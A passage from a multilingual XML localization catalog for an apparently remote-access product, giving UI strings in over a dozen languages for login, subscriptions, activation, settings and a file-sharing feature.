オンラインのコンピュータを何台か所有している場合、その中のどのコンピュータに接続するかを選択するのに役立ちます。
「自宅コンピュータ」とか、「パパ用Web サーバー」といった表記を使用してください。
</ja>
<ko>
여기에 컴퓨터에 대한 간단한 설명을 제공할 수 있습니다.
여러 컴퓨터가 온라인 상태인 경우 이 정보를 통해 연결할
컴퓨터를 선택할 수 있습니다. "home computer" 또는 "dad's webserver"와 같은 단어를 사용하십시오.
</ko>
<hu>
Itt egy rövid leírást adhat erről a számítógépről.
Ha több számítógépe is van online, akkor ez fog segíteni abban, hogy melyikhez
csatlakozzon. Olyan leírásokat használjon, mint pl.: "otthoni számítógép", vagy "apu webkiszolgálója".
</hu>
<en-gb>Here you can provide a short description for this computer. If you have several computers online, this helps you choose which one of them to connect to. Use something like "home computer" or "dad's webserver".</en-gb>
</msg>
<msg name="LICENSE">
<en>You can find a list of your currently available subscriptions below.
Pick the one that you'd like to use on this host computer, or you can
purchase additional subscriptions.</en>
<de>Nachfolgen sehen sie eine Liste zur Verfügung stehender Subscriptions. Wählen sie eine aus, die sie auf diesem Computer verwenden wollen, oder bestellen sie zusätzliche Subscriptions.</de>
<es>A continuación, puede encontrar una lista de las suscripciones disponibles actualmente.
Seleccione el que desea utilizar en este ordenador hots o puede
adquirir suscripciones adicionales.</es>
<fr>Vous pouvez trouver ci-dessous la liste de vos abonnements actuellement disponibles.
Sélectionnez celui que vous désirez employer sur ce serveur, ou vous pouvez
acquérir des abonnements supplémentaires.</fr>
<it>Di seguito è possibile trovare un elenco delle sottoscrizioni attualmente disponibili. Selezionare quella che si vorrebbe utilizzare sul computer host oppure acquistare altre sottoscrizioni.</it>
<ru>Ниже представлен список подписок, доступных в настоящее время.
Выберите одну из них для использования на данном хост-компьютере, или можно приобрести дополнительную подписку.</ru>
<ja>下記は、現在購入できる利用期間のリストです。このホスト コンピュータで使用するものを選択してください。また、追加の利用期間を購入することもできます。</ja>
<zh>您可以在下面找到当前可用订阅的列表。
选择一个您要用于此主机的订阅,或者您可以购买其他订阅。</zh>
<ko>아래에서 현재 사용할 수 있는 가입 목록을 찾을 수 있습니다. 이 호스트 컴퓨터에서 사용할 가입을 선택하거나 추가 가입을 구입할 수 있습니다.</ko>
<en-gb>You can find a list of your currently available subscriptions below. Pick the one that you'd like to use on this host computer or you can purchase additional subscriptions.</en-gb>
<hu>A jelenleg elérhető előfizetéseiről alább található egy lista.
Válassza ki azt, amelyet ezen a gazdagépen kíván használni, vagy
további előfizetéseket is vásárolhat.</hu>
<pt-br>Veja a seguir uma lista das assinaturas atualmente disponíveis.
Selecione a que gostaria de usar nesse computador host ou
adquira assinaturas adicionais.</pt-br>
<nl>Hieronder is een lijst weergegeven met de abonnementen die op dit moment beschikbaar zijn. Kies het abonnement dat u op deze hostcomputer wilt gebruiken; u kunt, indien nodig, ook aanvullende abonnementen kopen.</nl>
</msg>
<msg name="SEND">
<en>Register</en>
<de>Registrieren</de>
<es>Registrarse</es>
<fr>S'enregistrer</fr>
<it>Effettua la registrazione</it>
<ru>Зарегистрировать</ru>
<ja>登録</ja>
<zh>注册</zh>
<ko>등록</ko>
<en-gb>Register</en-gb>
<hu>Regisztráció</hu>
<pt-br>Registrar</pt-br>
<nl>Registreren</nl>
</msg>
<msg name="BUY">
<en>Purchase a new subscription</en>
<de>Neue Subscription bestellen</de>
<es>Comprar una nueva suscripción</es>
<fr>Achetez un nouvel abonnement</fr>
<it>Acquista una nuova sottoscrizione</it>
<ru>Приобрести новую подписку</ru>
<ja>新しい利用期間を購入</ja>
<zh>购买新订阅</zh>
<ko>새 가입 구입</ko>
<en-gb>Purchase a new subscription</en-gb>
<hu>Új előfizetés vásárlása</hu>
<pt-br>Adquirir nova assinatura</pt-br>
<nl>Nieuw abonnement kopen</nl>
</msg>
</cat>
<cat name="LOGIN">
<msg name="EMAIL">
<en>Email address</en>
<de>Emailadresse</de>
<es>Dirección de correo electrónico</es>
<fr>Adresse email</fr>
<it>Indirizzo e-mail</it>
<ru>Адрес электронной почты</ru>
<ja>電子メール アドレス</ja>
<zh>电子邮件地址</zh>
<ko>전자 메일 주소</ko>
<en-gb>E-mail address</en-gb>
<hu>E-mail cím</hu>
<pt-br>Endereço de email</pt-br>
<nl>E-mailadres</nl>
</msg>
<msg name="NOTE.NEW">
<en>If you have already signed up at %WEBSVC.NAME, please
enter your email address and registered password below. If you'd
like to sign up now, click the Back button.</en>
<de>Sie haben sich bereits bei %WEBSVC.NAME registriert. Geben sie bitte ihre Emailadresse und ihr Kennwort ein. Wenn sie sich registrieren wollen, klicken sie auf die Schaltfläche Zurück.</de>
<es>Si ya se ha registrado para %WEBSVC.NAME,
introduzca a continuación su dirección de correo electrónico y su contraseña registrada. Si quisiera
registrarse ahora, haga clic en el botón Atrás.</es>
<fr>Si vous êtes déjà enregistré dans %WEBSVC.NAME, veuilliez svp
entrez votre adresse email et votre mot de passe ci-dessous.
Si vous désirez vous enregistrer maintenant, cliquez le bouton Précédent.</fr>
<it>Se ci si è già iscritti a %WEBSVC.NAME, immettere  di seguito l'indirizzo e-mail e la password registrata. Se si desidera registrarsi ora, fare clic sul pulsante Indietro.</it>
<ru>Если уже имеется подписка на веб-службу %WEBSVC.NAME, введите ниже свой адрес электронной почты и зарегистрированный пароль. Если не хотите подписываться сейчас, щелкните кнопку "Назад".</ru>
<ja>%WEBSVC.NAME に既に登録している場合は、以下に電子メールと登録パスワードを入力してください。今すぐ登録する場合は、[戻る] ボタンをクリックしてください。</ja>
<zh>如果您已在 %WEBSVC.NAME 处注册,请在下面输入您的电子邮件地址和注册密码。如果您要现在注册,请单击“后退”按钮。</zh>
<ko>%WEBSVC.NAME에 이미 등록했으면 아래에 전자 메일 주소 및 등록 암호를 입력하십시오. 지금 등록하려면 "뒤로" 버튼을 클릭하십시오.</ko>
<en-gb>If you have already signed up at %WEBSVC.NAME, please enter your email address and registered password below. If you'd like to sign up now, click the Back button.</en-gb>
<hu>Ha már feliratkozott a %WEBSVC.NAME-re, kérem,
az alábbiakban adja meg e-mail címét és regisztrált jelszavát. Ha 
most szeretne feliratkozni, kattintson a Vissza gombra.</hu>
<pt-br>Se já tiver assinado em %WEBSVC.NAME,
digite seu endereço de email e a senha registrada abaixo. Caso deseje
assinar agora, clique no botão Voltar.</pt-br>
<nl>Als u reeds bij %WEBSVC.NAME, geregistreerd bent, voert u hieronder het e-mailadres en wachtwoord in die u tijdens het registratieproces hebt opgegeven. Als u zich nu wilt registreren, klikt u op de knop Vorige.</nl>
</msg>
<msg brand="LMI" name="NOTE.NEW">
<en>If you have already signed up at %WEBSVC.NAME, please
enter your email address and registered password below.</en>
<de>Sie haben sich bereits bei %WEBSVC.NAME registriert. Geben sie bitte ihre Emailadresse und ihr Kennwort ein. Wenn sie sich registrieren wollen, klicken sie auf die Schaltfläche Zurück.</de>
<es>Si ya se ha registrado para %WEBSVC.NAME,
introduzca a continuación su dirección de correo electrónico y su contraseña registrada. Si quisiera
registrarse ahora, haga clic en el botón Atrás.</es>
<fr>Si vous êtes déjà enregistré dans %WEBSVC.NAME, veuilliez svp
entrez votre adresse email et votre mot de passe ci-dessous.
Si vous désirez vous enregistrer maintenant, cliquez le bouton Précédent.</fr>
<it>Se ci si è già iscritti a %WEBSVC.NAME, immettere  di seguito l'indirizzo e-mail e la password registrata. Se si desidera registrarsi ora, fare clic sul pulsante Indietro.</it>
<ru>Если уже имеется подписка на веб-службу %WEBSVC.NAME, введите ниже свой адрес электронной почты и зарегистрированный пароль. Если не хотите подписываться сейчас, щелкните кнопку "Назад".</ru>
<ja>%WEBSVC.NAME に既に登録している場合は、以下に電子メールと登録パスワードを入力してください。今すぐ登録する場合は、[戻る] ボタンをクリックしてください。</ja>
<zh>如果您已在 %WEBSVC.NAME 处注册,请在下面输入您的电子邮件地址和注册密码。如果您要现在注册,请单击“后退”按钮。</zh>
<ko>%WEBSVC.NAME에 이미 등록했으면 아래에 전자 메일 주소 및 등록 암호를 입력하십시오. 지금 등록하려면 "뒤로" 버튼을 클릭하십시오.</ko>
<en-gb>If you have already signed up at %WEBSVC.NAME, please enter your email address and registered password below. If you'd like to sign up now, click the Back button.</en-gb>
<hu>Ha már feliratkozott a %WEBSVC.NAME-re, kérem,
az alábbiakban adja meg e-mail címét és regisztrált jelszavát. Ha 
most szeretne feliratkozni, kattintson a Vissza gombra.</hu>
<pt-br>Se já tiver assinado em %WEBSVC.NAME,
digite seu endereço de email e a senha registrada abaixo. Caso deseje
assinar agora, clique no botão Voltar.</pt-br>
<nl>Als u reeds bij %WEBSVC.NAME, geregistreerd bent, voert u hieronder het e-mailadres en wachtwoord in die u tijdens het registratieproces hebt opgegeven. Als u zich nu wilt registreren, klikt u op de knop Vorige.</nl>
</msg>
<msg name="PROXY.1">
<en>If you experience problems, please check your</en>
<es>Si tiene algún problema, compruebe la</es>
<fr>Si vous rencontrez des problèmes, vuillez vérifiez votre</fr>
<de>Wenn Probleme auftreten, überprüfen Sie die</de>
<it>In caso di problemi, controllare</it>
<ru>При возникновении проблем проверьте</ru>
<ja>問題が発生した場合は、</ja>
<zh>如果您遇到问题,请检查您的</zh>
<ko>문제가 발생할 경우 네트워크 프록시</ko>
<en-gb>If you experience problems, please check your</en-gb>
<hu>Ha problémát tapasztal, ellenőrizze</hu>
<pt-br>Se tiver problemas, verifique</pt-br>
<nl>Als er problemen optreden, moet u eerst de</nl>
</msg>
<msg name="PROXY.2">
<en>network proxy settings</en>
<es>Configuración del proxy de red</es>
<fr>paramètres réseau proxy</fr>
<de>Proxyeinstellungen für das Netzwerk</de>
<it>le impostazioni del proxy di rete</it>
<ru>параметры сетевого прокси-сервера</ru>
<zh>网络代理设置</zh>
<ko>설정을 확인하거나</ko>
<en-gb>network proxy settings</en-gb>
<ja>ネットワーク プロキシの設定を確認するか、</ja>
<hu>hálózati proxy beállításait</hu>
<pt-br>as configurações de proxy da rede</pt-br>
<nl>proxy-instellingen van uw netwerk controleren</nl>
</msg>
<msg name="PROXY.3">
<en>or contact your system administrator.</en>
<es>o póngase en contacto con su administrador de sistema.</es>
<fr>ou contacter votre administrateur système.</fr>
<de>oder wenden Sie sich an Ihren Systemadministrator.</de>
<it>o contattare l'amministratore di sistema.</it>
<ru>или обратитесь к своему системному администратору.</ru>
<zh>或与您的系统管理员联络。</zh>
<ko>시스템 관리자에게 문의하십시오.</ko>
<en-gb>or contact your system administrator.</en-gb>
<ja>システム管理者に連絡してください。</ja>
<hu>vagy vegye fel a kapcsolatot a rendszergazdával.</hu>
<pt-br>ou entre em contato com o administrador do sistema.</pt-br>
<nl>of neemt u contact op met uw systeembeheerder.</nl>
</msg>
<msg name="NOTE.CHANGE">
<en>To change your %WEBSVC.NAME subscription, please
enter your email address and registered password below.</en>
<de>Um ihre %WEBSVC.NAME Subscription zu ändern, geben sie bitte ihre Emailadresse und ihr Kennwort ein.</de>
<es>Para cambiar su suscripción %WEBSVC.NAME,
introduzca a continuación su dirección de correo electrónico y su contraseña registrada.</es>
<fr>Pour changer votre abonnement de %WEBSVC.NAME, veuillez
entrez ci-dessous votre adresse email et votre mot de passe.</fr>
<it>Per modificare la sottoscrizione a %WEBSVC.NAME, immettere di seguito l'indirizzo e-mail e la password registrata.</it>
<ru>Чтобы изменить свою подписку на веб-службу %WEBSVC.NAME, введите ниже свой адрес электронной почты и зарегистрированный пароль.</ru>
<ja>%WEBSVC.NAME 利用期間を変更するには、電子メール アドレスを入力し、その下に登録済みのパスワードを入力してください。</ja>
<zh>要更改您的 %WEBSVC.NAME 订阅,请
在下面输入您的电子邮件地址和注册密码。</zh>
<ko>%WEBSVC.NAME 가입을 변경하려면 아래에 전자 메일 주소 및 등록 암호를 입력하십시오.</ko>
<en-gb>To change your %WEBSVC.NAME subscription, please 	enter your e-mail address and registered password below.</en-gb>
<hu>A(z) %WEBSVC.NAME előfizetés módosításához kérem,
az alábbiakban adja meg e-mail címét és regisztrált jelszavát.</hu>
<pt-br>Para alterar a assinatura do %WEBSVC.NAME,
digite seu endereço de email e a senha registrada abaixo.</pt-br>
<nl>Als u uw %WEBSVC.NAME-abonnement wilt wijzigen, voert u hieronder het e-mailadres en wachtwoord in die u tijdens het registratieproces hebt opgegeven.</nl>
</msg>
</cat>
<cat name="PROFILES">
<msg name="DESC">
<en>Choose a profile</en>
<de>Profilauswahl</de>
<fr>Sélection profil</fr>
<it>Scegli un profilo</it>
<ru>Выберите профиль</ru>
<ja>プロファイルを選択</ja>
<zh>选择一个配置文件</zh>
<ko>프로필 선택</ko>
<en-gb>Choose a profile</en-gb>
<hu>Válasszon egy profilt</hu>
<pt-br>Escolher um perfil</pt-br>
<nl>Kies een profiel</nl>
</msg>
<msg name="LABEL">
<en>Profile name</en>
<de>Profilname</de>
<fr>Nom de profil</fr>
<it>Nome profilo</it>
<ru>Имя профиля</ru>
<ja>プロファイル名</ja>
<zh>配置文件名称</zh>
<ko>프로필 이름</ko>
<en-gb>Profile name</en-gb>
<hu>Profilnév</hu>
<pt-br>Nome do perfil</pt-br>
<nl>Profielnaam</nl>
</msg>
<msg name="NOPROFILES">
<en>No profiles available.</en>
<de>Es stehen keine Profile zur Verfügung.</de>
<es>No hay perfiles disponibles.</es>
<fr>Aucun profil disponible.</fr>
<it>Nessun profilo disponibile.</it>
<ru>Доступных профилей нет.</ru>
<ja>有効なプロファイルがありません。</ja>
<zh>没有可用的配置文件。</zh>
<ko>사용할 수 있는 프로필이 없습니다.</ko>
<en-gb>No profiles available.</en-gb>
<hu>Nincsenek elérhető profilok.</hu>
<pt-br>Não há perfis disponíveis.</pt-br>
<nl>Er zijn geen profielen beschikbaar.</nl>
</msg>
</cat>
<cat name="ACT">
<msg name="NOTE">
<en>An activation code has been sent to your email address. Please
check your email and enter the code you received below.</en>
<de>Ein Aktivierungscode wurde an ihre Emailadresse gesendet. Prüfen sie bitte ihren Posteingang und geben sie anschließend den Code ein, den sie erhalten haben.</de>
<es>Se ha enviado un código de activación a su dirección de correo electrónico. Compruebe
su correo electrónico e introduzca el código que ha recibido.</es>
<fr>Un code d'activation a été envoyé à votre adresse email. Veuillez
consulter votre courrier électronique et saisissez ci-dessous le code que vous venez de recevoir.</fr>
<it>Un codice di attivazione è stato inviato all'indirizzo e-mail indicato. Controllare l'e-mail e immettere di seguito il codice ricevuto.</it>
<ru>Код активации отправлен на ваш адрес электронной почты. Проверьте свой адрес электронной почты и введите ниже полученный код.</ru>
<ja>ご指定の電子メール アドレス宛てに、アクティベーション コードが送信されました。電子メールをご確認いただき、受け取ったコードを以下に入力してください。</ja>
<zh>激活代码已发送至您的电子邮件地址。请检查电子邮件并在下面输入您收到的代码。</zh>
<ko>활성화 코드를 사용자의 전자 메일 주소로 보냈습니다. 전자 메일을 확인하고 아래에 수신한 코드를 입력하십시오.</ko>
<en-gb>An activation code has been sent to your e-mail address. Please check your e-mail and enter the code you received below.</en-gb>
<hu>Egy aktiváló kódot küldtünk az Ön e-mail címére. Kérem,
ellenőrizze leveleit és alább adja meg a levélben kapott kódot.</hu>
<pt-br>Foi enviado um código de ativação para o seu endereço de email. Verifique
seu email e digite o código recebido abaixo.</pt-br>
<nl>Naar uw e-mailadres is een activeringscode verzonden. Controleer of u het e-mailbericht hebt ontvangen en voer hieronder de ontvangen activeringscode in.</nl>
</msg>
<msg name="SEND">
<en>Activate</en>
<de>Aktivieren</de>
<es>Activar</es>
<fr>Activer</fr>
<it>Attiva</it>
<ru>Активировать</ru>
<ja>アクティブにする</ja>
<zh>激活</zh>
<ko>활성화</ko>
<en-gb>Activate</en-gb>
<hu>Aktiválás</hu>
<pt-br>Ativar</pt-br>
<nl>Activeren</nl>
</msg>
</cat>
<cat name="PREF">
<msg name="NETSET">
<en>Network Settings</en>
<de>Netzwerkeinstellungen</de>
<es>Configuración de red</es>
<fr>Paramètres réseau</fr>
<it>Impostazioni di rete</it>
<ru>Конфигурация сети</ru>
<ja>ネットワークの設定</ja>
<zh>网络设置</zh>
<ko>네트워크 설정</ko>
<en-gb>Network Settings</en-gb>
<hu>Hálózati beállítások</hu>
<pt-br>Configurações de rede</pt-br>
<nl>Netwerkinstellingen</nl>
</msg>
<msg name="SECSET">
<en>Security Settings</en>
<de>Sicherheitseinstellungen</de>
<es>Configuración de seguridad</es>
<fr>Paramètres de sécurité</fr>
<it>Impostazioni di protezione</it>
<ru>Настройки безопасности</ru>
<ja>セキュリティ設定</ja>
<zh>安全设置</zh>
<ko>보안 설정</ko>
<en-gb>Security Settings</en-gb>
<hu>Biztonsági beállítások</hu>
<pt-br>Configurações de segurança</pt-br>
<nl>Beveiligingsinstellingen</nl>
</msg>
<msg name="RCSET">
<en>Remote Control Settings</en>
<de>Einstellungen der Fernsteuerung</de>
<es>Configuración del Control Remoto</es>
<fr>Paramètres de contrôle d'accès à distance</fr>
<it>Impostazioni Controllo remoto</it>
<ru>Настройки удаленного управления</ru>
<ja>リモート制御の設定</ja>
<zh>远程控制设置</zh>
<ko>원격 제어 설정</ko>
<en-gb>Remote Control Settings</en-gb>
<hu>Távvezérlő beállítások</hu>
<pt-br>Configurações do Controle remoto</pt-br>
<nl>Instellingen voor Besturing op afstand</nl>
</msg>
</cat>
<cat name="ACCOUNT">
<msg name="TITLE">
<en>Your %PRODUCTNAME account</en>
<de>Ihr %PRODUCTNAME Account</de>
<es>Su cuenta de %PRODUCTNAME</es>
<fr>Votre compte %PRODUCTNAME</fr>
<it>Account %PRODUCTNAME</it>
<ru>Ваша учетная запись %PRODUCTNAME</ru>
<ja>%PRODUCTNAME アカウント</ja>
<zh>您的 %PRODUCTNAME 帐户</zh>
<ko>%PRODUCTNAME 계정</ko>
<en-gb>Your %PRODUCTNAME account</en-gb>
<hu>Az Ön %PRODUCTNAME fiókja</hu>
<pt-br>Sua conta do %PRODUCTNAME</pt-br>
<nl>Uw %PRODUCTNAME-account</nl>
</msg>
<msg name="DESC">
<en>Click here to view or change your %PRODUCTNAME account details</en>
<de>Klicken sie hier, um ihr %PRODUCTNAME Konto anzuzeigen oder zu ändern.</de>
<es>Haga clic aquí para ver o cambiar los detalles de su cuenta %PRODUCTNAME</es>
<fr>Cliquez ici pour consulter ou modifier les détails de votre compte %PRODUCTNAME</fr>
<it>Fare clic qui per visualizzare o modificare i dettagli dell'account %PRODUCTNAME</it>
<ru>Щелкните здесь, чтобы просмотреть или изменить сведения о своей учетной записи %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME アカウントの詳細を表示または変更するには、ここをクリックします。</ja>
<zh>单击此处可以查看或更改您的 %PRODUCTNAME 帐户详情</zh>
<ko>%PRODUCTNAME 계정 세부사항을 보거나 변경하려면 여기를 클릭하십시오</ko>
<en-gb>Click here to view or change your %PRODUCTNAME account details</en-gb>
<hu>Kattintson ide, hogy megtekintse vagy módosítsa %PRODUCTNAME fiókjának adatait</hu>
<pt-br>Clique aqui para exibir ou alterar seus detalhes de conta do %PRODUCTNAME</pt-br>
<nl>Klik hier als u de detailgegevens van uw %PRODUCTNAME-account wilt weergeven of wijzigen.</nl>
</msg>
</cat>
<cat name="SUBS">
<msg name="TITLE">
<en>Current Subscriptions</en>
<de>Aktuelle Subscriptions</de>
<es>Suscripciones actuales</es>
<fr>Abonnements Actuels</fr>
<it>Sottoscrizioni correnti</it>
<ru>Текущие подписки</ru>
<ja>現在の利用期間</ja>
<zh>当前订阅</zh>
<ko>현재 가입</ko>
<en-gb>Current Subscriptions</en-gb>
<hu>Jelenlegi előfizetések</hu>
<pt-br>Assinaturas atuais</pt-br>
<nl>Huidige abonnementen</nl>
</msg>
<msg name="DESC">
<en>Click here to view or change your %PRODUCTNAME subscription details</en>
<de>Klicken sie hier, um ihre %PRODUCTNAME Subscription anzuzeigen oder zu ändern.</de>
<es>Haga clic aquí para ver o cambiar los detalles de su suscripción a %PRODUCTNAME</es>
<fr>Cliquez ici pour consulter ou modifier le détail de vos abonnements %PRODUCTNAME</fr>
<it>Fare clic qui per visualizzare o modificare i dettagli della sottoscrizione a %PRODUCTNAME</it>
<ru>Щелкните здесь, чтобы просмотреть или изменить сведения о своей подписке %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME 利用期間の詳細を表示または変更するには、ここをクリックします。</ja>
<zh>单击此处可以查看或更改您的 %PRODUCTNAME 订阅详情</zh>
<ko>%PRODUCTNAME 가입 세부사항을 보거나 변경하려면 여기를 클릭하십시오</ko>
<en-gb>Click here to view or change your %PRODUCTNAME subscription details</en-gb>
<hu>Kattintson ide, hogy megtekintse vagy módosítsa %PRODUCTNAME előfizetésének adatait</hu>
<pt-br>Clique aqui para exibir ou alterar seus detalhes de assinatura do %PRODUCTNAME</pt-br>
<nl>Klik hier als u de detailgegevens van uw %PRODUCTNAME-abonnement wilt weergeven of wijzigen</nl>
</msg>
</cat>
<cat name="SHARE">
<msg name="TITLE">
<en>File Sharing</en>
<es>Transferencia de archivos</es>
<de>Dateifreigabe</de>
<fr>Partage de fichiers</fr>
<it>Condivisione dei file</it>
<ru>Общий доступ к файлам</ru>
<ja>ファイル共有</ja>
<zh>文件共享</zh>
<ko>파일 공유</ko>
<en-gb>File Sharing</en-gb>
<hu>Fájlmegosztás</hu>
<pt-br>Compartilhamento de arquivos</pt-br>
<nl>Bestanden delen</nl>
</msg>
<!-- intro screen descriptions -->
<msg name="DESC.1">
<en>File Sharing allows friends, family and colleagues to securely download selected files directly from your PC, eliminating the need for large email attachments.</en>
<fr>Le partage de fichiers permet à vos proches et collègues de télécharger des fichiers en toute sécurité depuis votre ordinateur, éliminant le problème des pièces jointes d'email trop volumineuses.</fr>
<es>La función Compartir archivos permite a sus amigos, familiares y compañeros descargar de forma segura archivos seleccionados directamente desde su ordenador, con lo cual, se elimina la necesidad de adjuntar archivos de gran tamaño a los mensajes de correo electrónico.</es>
<de>Die Dateifreigabe ermöglicht es Ihren Freunden, Familienmitgliedern und Kollegen, bestimmte Dateien sicher und direkt von Ihrem Computer herunterzuladen. Auf diese Art werden große E-Mail-Anhänge vermieden.</de>
<it>La Condivisione dei file consente ad amici, parenti e colleghi di scaricare in sicurezza i file selezionati dal proprio computer, eliminando la necessità di inviare e-mail con allegati di dimensioni eccessive.</it>
<nl>Door bestanden te delen kunnen uw vrienden, familieleden en collega’s op een veilige manier bepaalde bestanden rechtstreeks van uw computer downloaden, zodat u geen e-mailberichten met grote bijlagen hoeft te verzenden.</nl>
<pt-br>O Compartilhamento de arquivos permite que amigos, família e colegas baixem com segurança arquivos selecionados diretamente do seu computador, eliminando a necessidade de anexos de email grandes.</pt-br>
<zh>文件共享可让朋友、家人和同事从您的计算机安全地下载所选文件,从而无需发送较大的电子邮件附件。</zh>
<ru>Функция общего доступа к файлам позволяет друзьям, членам семи и коллегам безопасно загружать выбранные файлы непосредственно с вашего компьютера без необходимости вложения больших файлов в электронные письма.</ru>
<ja>ファイル共有を使用すると、コンピュータの共有ファイルを友人、家族、および同僚が直接安全にダウンロードできるようになり、巨大な添付ファイルを電子メールで送信する必要がなくなります。</ja>
<ko>파일 공유를 사용하면 친구, 가족 및 동료가 사용자의 컴퓨터에서 직접 선택한 파일을 안전하게 다운로드할 수 있으므로, 대용량 전자 메일 파일을 첨부할 필요가 없어집니다.</ko>
<hu>A fájlmegosztás funkció lehetővé teszi. hogy barátai, családtagjai és kollégái biztonságosan töltsék le a kiválasztott fájlokat, és ezzel szükségtelenné tegyék az óriás e-mail mellékletek használatát.</hu>
<en-gb>File Sharing allows friends, family and colleagues to securely download selected files directly from your PC, eliminating the need for large email attachments.</en-gb>
</msg>
<msg os="macosx" name="DESC.1">
<en>File Sharing allows friends, family and colleagues to securely download selected files directly from your computer, eliminating the need for large email attachments.</en>
<fr>Le partage de fichiers permet à vos proches et collègues de télécharger des fichiers en toute sécurité depuis votre ordinateur, éliminant le problème des pièces jointes d'email trop volumineuses.</fr>
<es>La función Compartir archivos permite a sus amigos, familiares y compañeros descargar de forma segura archivos seleccionados directamente desde su ordenador, con lo cual, se elimina la necesidad de adjuntar archivos de gran tamaño a los mensajes de correo electrónico.</es>
<de>Die Dateifreigabe ermöglicht es Ihren Freunden, Familienmitgliedern und Kollegen, bestimmte Dateien sicher und direkt von Ihrem Computer herunterzuladen. Auf diese Art werden große E-Mail-Anhänge vermieden.</de>
<it>La Condivisione dei file consente ad amici, parenti e colleghi di scaricare in sicurezza i file selezionati dal proprio computer, eliminando la necessità di inviare e-mail con allegati di dimensioni eccessive.</it>
<nl>Door bestanden te delen kunnen uw vrienden, familieleden en collega’s op een veilige manier bepaalde bestanden rechtstreeks van uw computer downloaden, zodat u geen e-mailberichten met grote bijlagen hoeft te verzenden.</nl>
<pt-br>O Compartilhamento de arquivos permite que amigos, família e colegas baixem com segurança arquivos selecionados diretamente do seu computador, eliminando a necessidade de anexos de email grandes.</pt-br>
<zh>文件共享可让朋友、家人和同事从您的计算机安全地下载所选文件,从而无需发送较大的电子邮件附件。</zh>
<ru>Функция общего доступа к файлам позволяет друзьям, членам семи и коллегам безопасно загружать выбранные файлы непосредственно с вашего компьютера без необходимости вложения больших файлов в электронные письма.</ru>
<ja>ファイル共有を使用すると、コンピュータの共有ファイルを友人、家族、および同僚が直接安全にダウンロードできるようになり、巨大な添付ファイルを電子メールで送信する必要がなくなります。</ja>
<ko>파일 공유를 사용하면 친구, 가족 및 동료가 사용자의 컴퓨터에서 직접 선택한 파일을 안전하게 다운로드할 수 있으므로, 대용량 전자 메일 파일을 첨부할 필요가 없어집니다.</ko>
<hu>A fájlmegosztás funkció lehetővé teszi. hogy barátai, családtagjai és kollégái biztonságosan töltsék le a kiválasztott fájlokat, és ezzel szükségtelenné tegyék az óriás e-mail mellékletek használatát.</hu>
<en-gb>File Sharing allows friends, family and colleagues to securely download selected files directly from your computer, eliminating the need for large email attachments.</en-gb>
</msg>
<msg name="DESC.2">
<en>How it works:</en>
<de>Und so geht's</de>
<es>Cómo funciona:</es>
<fr>Fonctionnement:</fr>
<it>Funzionamento:</it>
<ru>Описание работы:</ru>
<ja>実行例 :</ja>
<zh>工作方式:</zh>
<ko>작동 방식:</ko>
<en-gb>How it works:</en-gb>
<hu>Hogyan működik?</hu>
<pt-br>Como funciona:</pt-br>
<nl>Hoe werkt het:</nl>
</msg>
<msg name="DESC.3">
<en>You simply create a secure link to the file you want to share and email it to designated recipient(s) who can click the link and download the file directly from your computer.</en>
<es>Sólo tiene que crear un vínculo seguro al archivo que desea compartir y enviarlo por correo electrónico a los destinatarios designados; estos pueden hacer clic en el vínculo y descargar el archivo directamente desde su ordenador.</es>
<de>Sie senden einfach einen sicheren Hyperlink für die gewünschte Datei per E-Mail an die jeweiligen Personen. Die Empfänger können anschließend die Datei über diesen Hyperlink direkt von Ihrem Computer downloaden.</de>
<fr>Il vous suffit de créer un lien sécurisé vers le fichier à partager et de l'envoyer par e-mail au(x) destinataire(s) désigné(s) qui peut/peuvent ensuite cliquer sur le lien et télécharger le fichier directement à partir de votre ordinateur.</fr>
<it>Si crea semplicemente un collegamento protetto al file che si intende condividere e lo si invia tramite e-mail al destinatario o ai destinatari designati che possono fare clic sul collegamento ed effettuare il download del file direttamente dal computer dell'utente.</it>
<ru>Вы просто создаете безопасную ссылку на файл, к которому необходимо открыть общий доступ, и по электронной почте отправляете ее получателям, которые могут щелкнуть данную ссылку и загрузить файл прямо с вашего компьютера.</ru>
<ja>共有するファイルへのセキュア リンクを作成し、このリンクを指定した受信者に電子メールで送信すると、受信者はそのリンクをクリックすれば、相手のコンピュータから直接ファイルをダウンロードすることができます。</ja>
<zh>您只需为要共享的文件创建一个安全链接,并通过电子邮件将其发送给指定的收件人,收件人可以单击此链接并从您的计算机上直接下载文件。</zh>
<ko>공유할 파일에 대한 보안 링크를 만들고 이 링크를 클릭하여 사용자의 컴퓨터에서 직접 파일을 다운로드할 수 있는 대상 수신인에게 전자 메일로 보냅니다.</ko>
<en-gb>You simply create a secure link to the file you want to share and e-mail it to designated recipient(s) who can click the link and download the file directly from your computer.</en-gb>
<hu>Hozzon létre egyszerűen egy biztonságos hivatkozást ahhoz a fájlhoz, amelyet meg kíván osztani, és küldje el e-mailben a címzett(ek)nek, akik majd a hivatkozásra kattintva letölthetik a fájlt közvetlenül az Ön számítógépéről.</hu>
<pt-br>Basta criar um link seguro para o arquivo que você deseja compartilhar e enviá-lo por email para os destinatários designados, os quais podem clicar no link e baixar o arquivo diretamente do seu computador.</pt-br>
<nl>U maakt gewoon een beveiligde link naar het bestand dat u wilt delen en verzendt deze link via e-mail naar de gekozen geadresseerde(n); zij kunnen vervolgens op de link klikken en zo het bestand rechtstreeks van uw computer downloaden.</nl>
</msg>
<msg name="DESC.4">
<en>You can specify the number of times the file can be downloaded or a timeframe for when the link should expire. At any time, you can check the status of the downloads or delete the link to the file on your machine.</en>
<es>Puede especificar el número de veces que puede descargarse un archivo o un período de caducidad para el vínculo. En cualquier momento puede comprobar el estado de las descargas o eliminar el vínculo del archivo de su máquina.</es>
<de>Sie können angeben, wie oft die Datei gedownloadet werden kann und in welchem Zeitraum der Hyperlink gültig ist. Sie können jederzeit der Status der Downloads überprüfen oder den Hyperlink für die Datei auf Ihrem Computer löschen.</de>
<fr>Vous pouvez préciser le nombre de téléchargements du fichier ou la durée de validité du lien. Vous pouvez, à tout moment, vérifier l'état des téléchargements ou supprimer le lien vers le fichier sur votre ordinateur.</fr>
<it>È possibile indicare il numero di tentativi di download del file che è possibile eseguire o un periodo dopo il quale il collegamento scade. In qualsiasi momento è possibile controllare lo stato dei download o eliminare il collegamento al file che si trova nel proprio computer.</it>
<ru>Можно указать, сколько раз можно загрузить данный файл, или промежуток времени, по истечении которого данная ссылка становится недействительной. В любой момент вы можете проверить состояние загрузки или удалить ссылку на файл из вашего компьютера.</ru>
